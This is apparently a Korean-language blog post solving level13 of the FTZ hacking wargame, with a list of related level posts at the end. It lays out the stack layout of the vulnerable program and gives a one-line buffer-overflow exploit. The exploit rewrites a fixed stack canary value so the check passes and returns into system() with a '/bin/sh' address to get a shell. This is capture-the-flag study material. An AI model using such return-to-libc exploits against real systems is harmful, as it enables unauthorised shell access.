ftz level13문제다 보면 buf위에 0x1234567 저장해놓고 만약 오버플로우로 이부분을 침범하면 경고를 표시하면서 프로그램을 종료시킨다.
gdb로 디버깅 해보면 0x418(1048) 만큼 스택을 할당해주는데 구조를 보면
str[1024] + garbage[12] + 0x01234567[4] + dummy[8] + sfp[4] + ret[4] 이렇게 저장되어있다.
그렇다면 0x1234567 가 들어있는 주소에는 익스코드 자체에서 \x67\x45\x23\x01 넣어줌으로써 경고를 우회할 수있다.
./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"'`
(\xc0\xf2\x03\x42 = system_address | \xa4\x7e\x12\x42 = system_/bin/sh_address)
'Pwnable > ▷ Study' 카테고리의 다른 글
ftz level16 (0) | 2018.02.17 |
---|---|
ftz level15 (0) | 2018.02.17 |
ftz level14 (0) | 2018.02.17 |
ftz level12 (0) | 2018.02.17 |
ftz level11 (0) | 2018.02.17 |